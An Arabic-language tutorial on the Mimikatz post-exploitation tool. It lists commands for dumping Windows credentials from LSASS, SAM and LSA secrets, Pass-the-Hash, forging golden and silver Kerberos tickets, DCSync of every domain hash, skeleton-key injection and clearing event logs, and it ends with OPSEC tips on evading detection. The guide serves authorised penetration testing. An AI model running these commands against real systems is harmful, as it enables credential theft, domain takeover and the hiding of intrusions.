معلومات الأداة
| الخاصية | التفاصيل |
|---|---|
| الاسم | Mimikatz |
| المطوّر | Benjamin Delpy |
| المنصة | Windows |
| الاستخدام الأساسي | استخراج بيانات الاعتماد بعد الاستغلال (Post-Exploitation) |
| الترخيص | مفتوحة المصدر |
| المجال | اختبار اختراق أنظمة ويندوز وActive Directory |
ما هي أداة Mimikatz ولماذا تحتل هذه المكانة؟
Mimikatz أداة مفتوحة المصدر لما بعد الاستغلال (Post-Exploitation)، مصمَّمة خصيصاً لأنظمة ويندوز، تستخرج كلمات المرور الصريحة (Plaintext)، وHashes، وأكواد PIN، وتذاكر Kerberos مباشرة من الذاكرة. طوّرها Benjamin Delpy، وأصبحت واحدة من أقوى الأدوات وأكثرها استخداماً لإثبات نقاط الضعف الأمنية بأنظمة ويندوز وتنفيذ هجمات سرقة بيانات الاعتماد.
تُعتبر Mimikatz أداة أساسية لأي مختبر اختراق يقيّم بيئات ويندوز وActive Directory — فهي لا تكتشف ثغرة واحدة بحد ذاتها، بل تكشف عن مشكلة بنيوية أعمق: الطريقة التي يخزّن بها ويندوز بيانات الاعتماد بالذاكرة أثناء الجلسات النشطة، وما يترتب على ذلك من مخاطر حين يحصل مهاجم على وصول كافٍ للنظام.
الاستخدامات الأساسية
استخراج بيانات الاعتماد
تستخرج Mimikatz كلمات المرور الصريحة، وHashes من نوع NTLM، وبيانات اعتماد أخرى مباشرة من ذاكرة عملية LSASS (Local Security Authority Subsystem Service — الخدمة المسؤولة عن فرض سياسات الأمان بويندوز). هذه القدرة توضّح عملياً خطورة تخزين بيانات الاعتماد بالذاكرة، وهي أساسية لأي نشاط لاحق بمرحلة ما بعد الاستغلال.
هجمات Pass-the-Hash
تتيح الأداة تنفيذ هجمات Pass-the-Hash عبر استخراج Hashes من نوع NTLM وحقنها بجلسة جديدة، ما يسمح بالمصادقة دون معرفة كلمة المرور الصريحة إطلاقاً. هذه التقنية أساسية للتحرك الجانبي (Lateral Movement) عبر شبكات ويندوز.
التلاعب بتذاكر Kerberos
تستطيع Mimikatz استخراج، وتزوير، وحقن تذاكر Kerberos — بما فيها تذاكر منح التذاكر (TGT) وتذاكر الخدمة (Service Tickets). هذا يتيح تنفيذ هجمات Pass-the-Ticket، والاستمرارية (Persistence) عبر إنشاء التذاكر الذهبية والفضية.
إنشاء التذكرة الذهبية (Golden Ticket)
تُنشئ الأداة تذاكر ذهبية باستخدام Hash حساب krbtgt، ما يوفّر وصولاً كاملاً للنطاق (Domain) وقدرة على إنشاء باب خلفي دائم. النقطة الأخطر: التذاكر الذهبية تبقى صالحة حتى بعد إعادة تعيين كلمات المرور العادية.
هجوم DCSync
تنفّذ Mimikatz هجوم DCSync لاستخراج Hashes كلمات المرور من وحدات تحكم النطاق (Domain Controllers) عبر انتحال شخصية وحدة تحكم نطاق شرعية — ما يلغي الحاجة للوصول المباشر لأنظمة الـDC نفسها.
تصعيد الصلاحيات
تتضمن الأداة تقنيات متنوعة لتصعيد الصلاحيات، وتستطيع تجاوز بعض ميزات حماية ويندوز — ما يتيح للمسؤولين اختبار الضوابط الأمنية وإثبات مسارات الاستغلال الممكنة.
المزايا الأساسية
تجمع Mimikatz مجموعة واسعة من القدرات ضمن أداة واحدة:
- تفريغ ذاكرة LSASS (LSASS Memory Dumping)
- استخراج كلمات المرور الصريحة
- استخراج Hashes من نوع NTLM
- استخراج تذاكر Kerberos
- دعم Pass-the-Hash
- دعم Pass-the-Ticket
- إنشاء التذكرة الذهبية (Golden Ticket)
- إنشاء التذكرة الفضية (Silver Ticket)
- هجوم DCSync
- هجوم المفتاح الهيكلي (Skeleton Key)
- استخراج بيانات مدير بيانات الاعتماد (Credential Manager)
- فك تشفير DPAPI
- التلاعب بالرموز المميزة (Token Manipulation)
- تصعيد الصلاحيات
مصادر البيانات التي تستهدفها
- ذاكرة عملية LSASS
- مدير بيانات اعتماد ويندوز (Windows Credential Manager)
- تذاكر Kerberos (بالذاكرة)
- أسرار LSA (LSA Secrets)
- قاعدة بيانات SAM
- ملف NTDS.dit (عبر DCSync)
- Active Directory
- سجل ويندوز (Windows Registry)
- تفريغات الذاكرة (Memory Dumps)
- بيانات الاعتماد المخزَّنة مؤقتاً (Cached Credentials)
أوامر Mimikatz الأساسية
التحقق من الأداة ورفع الصلاحيات
قبل أي عملية استخراج فعلية، تحتاج للتأكد من إصدار الأداة ورفع مستوى الصلاحيات لمستوى يسمح بالوصول لذاكرة عمليات حساسة مثل LSASS:
mimikatz # version
يعرض هذا الأمر إصدار Mimikatz الحالي ومعلومات أساسية عن النظام — خطوة تحقق أولية قبل تنفيذ أي عملية.
mimikatz # privilege::debug
هذا الأمر يحاول رفع الصلاحيات لمستوى SYSTEM، وهو مطلوب لأغلب عمليات استخراج بيانات الاعتماد، لأن الوصول لذاكرة LSASS محمي بصلاحيات مرتفعة افتراضياً.
استخراج بيانات الاعتماد من الذاكرة
mimikatz # sekurlsa::logonpasswords
الأمر الأشهر والأكثر استخداماً بالأداة — يستخرج كل بيانات الاعتماد المتاحة من ذاكرة LSASS، بما فيها كلمات المرور الصريحة، وHashes، وتذاكر Kerberos، دفعة واحدة.
mimikatz # sekurlsa::minidump lsass.dmp
بدلاً من التنفيذ المباشر على النظام الهدف (الذي قد يكون مقيَّداً أو مراقَباً)، ينشئ هذا الأمر نسخة تفريغ (Dump) لعملية LSASS يمكن تحليلها لاحقاً بشكل منفصل — مفيد تحديداً عندما يكون التنفيذ المباشر محظوراً.
التعامل مع تذاكر Kerberos
mimikatz # sekurlsa::tickets
يستخرج كل تذاكر Kerberos الموجودة بالذاكرة حالياً، بما فيها تذاكر TGT وتذاكر الخدمة، تمهيداً لاستخدامها بهجمات Pass-the-Ticket.
mimikatz # sekurlsa::tickets /export
يصدّر تذاكر Kerberos المستخرَجة إلى ملفات مستقلة، لاستخدامها لاحقاً أو تحليلها على أنظمة أخرى غير النظام الذي استُخرجت منه.
mimikatz # sekurlsa::ekeys
يستخرج مفاتيح تشفير Kerberos من الذاكرة — مفيدة لكسر التشفير دون اتصال بالشبكة (Offline Cracking) أو لإنشاء تذاكر لاحقاً.
هجمات إعادة استخدام بيانات الاعتماد
mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /run:cmd.exe
ينفّذ هجوم Pass-the-Hash عبر إنشاء عملية جديدة باستخدام Hash من نوع NTLM بدلاً من كلمة المرور الصريحة — يتيح المصادقة دون معرفة كلمة المرور الفعلية إطلاقاً.
mimikatz # kerberos::ptt <ticket_file>
يحقن تذكرة Kerberos بالجلسة الحالية، ما يتيح الوصول للموارد باستخدام تذكرة مسروقة مسبقاً — أساس هجوم Pass-the-Ticket.
إنشاء تذاكر Kerberos مزوَّرة
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /krbtgt:<krbtgt_hash> /id:500
ينشئ تذكرة ذهبية باستخدام Hash حساب krbtgt، ما يوفّر وصولاً دائماً بصلاحيات مدير النطاق (Domain Admin) — باب خلفي يبقى صالحاً حتى بعد تغييرات كلمات المرور العادية.
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /target:<target> /service:<service> /rc4:<service_hash>
ينشئ تذكرة فضية للوصول لخدمة محدَّدة دون الحاجة للتواصل مع وحدة تحكم النطاق إطلاقاً — أهدأ وأضيق نطاقاً من التذكرة الذهبية، لأنها تقتصر على خدمة واحدة بدلاً من النطاق كاملاً.
استخراج بيانات من وحدة تحكم النطاق
mimikatz # lsadump::dcsync /user:<domain>\<username>
ينفّذ هجوم DCSync لاستخراج Hash كلمة مرور مستخدم محدَّد عبر انتحال شخصية وحدة تحكم نطاق، دون أي وصول مباشر لأنظمة الـDC الفعلية.
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
نسخة موسَّعة من الأمر السابق، تستخرج Hashes كلمات مرور كل مستخدمي النطاق دفعة واحدة، بصيغة CSV — وصول شبه كامل لبيانات اعتماد النطاق.
استخراج بيانات محلية إضافية
mimikatz # lsadump::sam
يفرّغ قاعدة بيانات SAM المحلية، التي تحتوي Hashes حسابات المستخدمين المحليين على الجهاز نفسه (لا حسابات النطاق).
mimikatz # lsadump::secrets
يستخرج أسرار LSA، وتتضمن غالباً بيانات اعتماد حسابات الخدمة (Service Accounts) وبيانات اعتماد مخزَّنة مؤقتاً لحسابات النطاق على الجهاز المحلي.
هجوم المفتاح الهيكلي
mimikatz # misc::skeleton
يحقن “مفتاحاً هيكلياً” (Skeleton Key) بذاكرة وحدة تحكم النطاق، ينشئ كلمة مرور احتياطية خلفية تعمل لأي حساب بالنطاق — بجانب كلمة المرور الحقيقية للمستخدم، لا بدلاً منها.
بيانات اعتماد إضافية مخزَّنة محلياً
mimikatz # vault::list
يستخرج بيانات الاعتماد المخزَّنة بمدير بيانات اعتماد ويندوز (Credential Manager)، ويكشف كلمات مرور محفوظة سابقاً بالنظام.
mimikatz # dpapi::cred /in:<credential_file>
يفك تشفير بيانات محمية بآلية DPAPI (Data Protection API)، بما فيها كلمات مرور محفوظة وشهادات رقمية.
التلاعب بالرموز المميزة والعمليات
mimikatz # token::elevate
يتلاعب برموز الوصول (Access Tokens) بويندوز، لانتحال شخصية مستخدمين آخرين أو تصعيد الصلاحيات.
mimikatz # token::list
يسرد كل الرموز المميزة المتاحة بالنظام، تمهيداً لانتحال شخصية أحدها لاحقاً.
mimikatz # process::inject /pid:<pid>
يحقن Mimikatz داخل عملية أخرى قيد التشغيل — أسلوب يهدف للتخفي وتصعيد الصلاحيات عبر تنفيذ الكود ضمن سياق عملية أخرى موثوقة.
إدارة الجلسة والمخرجات
mimikatz # log <output_file>
يعيد توجيه كل مخرجات Mimikatz لملف محدَّد، مفيد للتوثيق أو التحليل اللاحق أثناء اختبار اختراق طويل.
mimikatz # event::clear
يمسح سجلات أحداث ويندوز (Event Logs) لإزالة آثار تنفيذ Mimikatz ونشاط سرقة بيانات الاعتماد.
mimikatz # help
يعرض معلومات المساعدة والوحدات المتاحة بالأداة.
mimikatz # exit
ينهي جلسة Mimikatz التفاعلية.
⚠️ ملاحظات OPSEC
أدوات الحماية التي قد تكشف النشاط:
- حلول EDR ومضادات الفيروسات: تفرض جميع حلول الحماية الحديثة تقريباً توقيعات (Signatures) وقواعد سلوكية مخصَّصة لملف
mimikatz.exeنفسه، وحتى لأنماط الوصول النموذجية لذاكرة LSASS — تشغيل النسخة الرسمية غير المعدَّلة يُكتشَف فوراً على أي بيئة محمية بشكل معقول. - Sysmon ومراقبة الوصول للعمليات: أي وصول لذاكرة عملية LSASS (خصوصاً من عملية غير معروفة أو غير موقَّعة) يُسجَّل عادة كحدث Sysmon من النوع ProcessAccess (معرِّف الحدث 10) — من أكثر المؤشرات وضوحاً لنشاط استخراج بيانات الاعتماد.
- Microsoft Defender Credential Guard وLSA Protection (RunAsPPL): آليات حماية حديثة بويندوز تمنع الوصول العادي لذاكرة LSASS كلياً حتى بصلاحيات مرتفعة، ما يفشل أغلب تقنيات Mimikatz القياسية دون تجاوز إضافي متخصص.
- مراقبة وحدات تحكم النطاق: هجمات DCSync تتطلب صلاحيات نسخ (Replication Permissions) غير اعتيادية لحساب عادي — مراقبة محاولات النسخ من حسابات لا تنتمي فعلياً لوحدات تحكم النطاق الحقيقية مؤشر قوي على هذا النوع من الهجوم تحديداً.
مستوى الضجيج لكل تقنية:
| التقنية | مستوى الضجيج | السبب |
|---|---|---|
sekurlsa::logonpasswords (تشغيل مباشر) | مرتفع جداً | تُكتشَف فوراً بأي EDR حديث؛ الملف التنفيذي نفسه موقَّع رقمياً بتواقيع معروفة على نطاق واسع |
sekurlsa::minidump (تفريغ بلا تنفيذ مباشر) | متوسط | أهدأ من التنفيذ المباشر، لكن أدوات تحلّل سلوك الوصول لذاكرة LSASS قد ترصد عملية إنشاء التفريغ نفسها |
| Pass-the-Hash / Pass-the-Ticket | متوسط إلى مرتفع | لا يترك أثراً على الجهاز المصدر بعد الاستخراج، لكن الاستخدام يُنشئ جلسات مصادقة قد تبدو غير معتادة على الأنظمة الهدف |
| التذكرة الذهبية (Golden Ticket) | مرتفع على المدى الطويل | الاستخدام الأولي هادئ نسبياً، لكن أي مراقبة لسلوك مصادقة Kerberos غير المعتاد (مثل عمر تذكرة أطول من الطبيعي) تكشفه لاحقاً |
| DCSync | مرتفع | يتطلب صلاحيات نسخ غير اعتيادية لحساب لا يُفترَض أن يمتلكها — نمط سهل الرصد بمراقبة أذونات AD الصحيحة |
| Skeleton Key | مرتفع جداً | تعديل مباشر لذاكرة وحدة تحكم نطاق حيوية؛ أي فحص سلامة أو إعادة تشغيل للخدمة يزيل الأثر ويكشف التلاعب |
event::clear | مرتفع جداً | مسح السجلات نفسه حدث يُسجَّل بأنظمة SIEM المركزية التي تجمع السجلات فور حدوثها، قبل إمكانية مسحها محلياً |
كيف نقلل الأثر:
- فضّل تفريغ الذاكرة على التنفيذ المباشر (
sekurlsa::minidump) عندما يكون ذلك ممكناً، وحلّل التفريغ خارج النظام الهدف. - تجنّب تنفيذ الأداة الرسمية دون تعديل ببيئات محمية فعلياً — أغلب الاختبارات الواقعية تتطلب تقنيات تفادي أعمق (لا تدخل ضمن نطاق هذا الدليل التأسيسي).
- اقتصر على أضيق نطاق ممكن — إنشاء تذكرة فضية لخدمة واحدة أهدأ بكثير من تذكرة ذهبية كاملة النطاق إذا كان هدفك محدوداً بخدمة معينة.
- لا تعتمد على
event::clearكوسيلة إخفاء فعلية بأي بيئة تراقب سجلاتها مركزياً (SIEM) — الحدث نفسه غالباً مسجَّل بمكان آخر قبل تنفيذ أمر المسح. - وثّق كل استخدام لهجوم DCSync أو Skeleton Key بتقرير الاختبار المرخَّص فوراً — هذه التقنيات تؤثر على وحدة تحكم النطاق نفسها، وتستحق تنسيقاً مسبقاً مع فريق العميل بأي اختبار اختراق حقيقي.
🛠️ ملخص أوامر Mimikatz
| الفئة | الأمر | الوظيفة |
|---|---|---|
| أساسي | version | عرض إصدار الأداة ومعلومات النظام |
| أساسي | privilege::debug | رفع الصلاحيات لمستوى SYSTEM |
| استخراج | sekurlsa::logonpasswords | استخراج كل بيانات الاعتماد من LSASS |
| استخراج | sekurlsa::minidump lsass.dmp | تفريغ عملية LSASS للتحليل دون اتصال |
| Kerberos | sekurlsa::tickets | استخراج تذاكر Kerberos من الذاكرة |
| Kerberos | sekurlsa::tickets /export | تصدير التذاكر لملفات مستقلة |
| Kerberos | sekurlsa::ekeys | استخراج مفاتيح تشفير Kerberos |
| إعادة استخدام | sekurlsa::pth | تنفيذ هجوم Pass-the-Hash |
| إعادة استخدام | kerberos::ptt | حقن تذكرة Kerberos بالجلسة (Pass-the-Ticket) |
| تذاكر مزوَّرة | kerberos::golden (بمعامل krbtgt) | إنشاء تذكرة ذهبية |
| تذاكر مزوَّرة | kerberos::golden (بمعامل service/rc4) | إنشاء تذكرة فضية |
| DCSync | lsadump::dcsync /user:... | استخراج Hash مستخدم واحد عبر DCSync |
| DCSync | lsadump::dcsync /all /csv | استخراج Hashes كل مستخدمي النطاق |
| محلي | lsadump::sam | تفريغ قاعدة بيانات SAM المحلية |
| محلي | lsadump::secrets | استخراج أسرار LSA |
| استمرارية | misc::skeleton | حقن مفتاح هيكلي بوحدة تحكم النطاق |
| بيانات محلية | vault::list | استخراج بيانات Credential Manager |
| بيانات محلية | dpapi::cred | فك تشفير بيانات DPAPI |
| رموز مميزة | token::elevate / token::list | التلاعب بالرموز المميزة وسردها |
| تخفٍّ | process::inject /pid: | حقن Mimikatz بعملية أخرى |
| إدارة | log / help / exit | توجيه المخرجات، المساعدة، إنهاء الجلسة |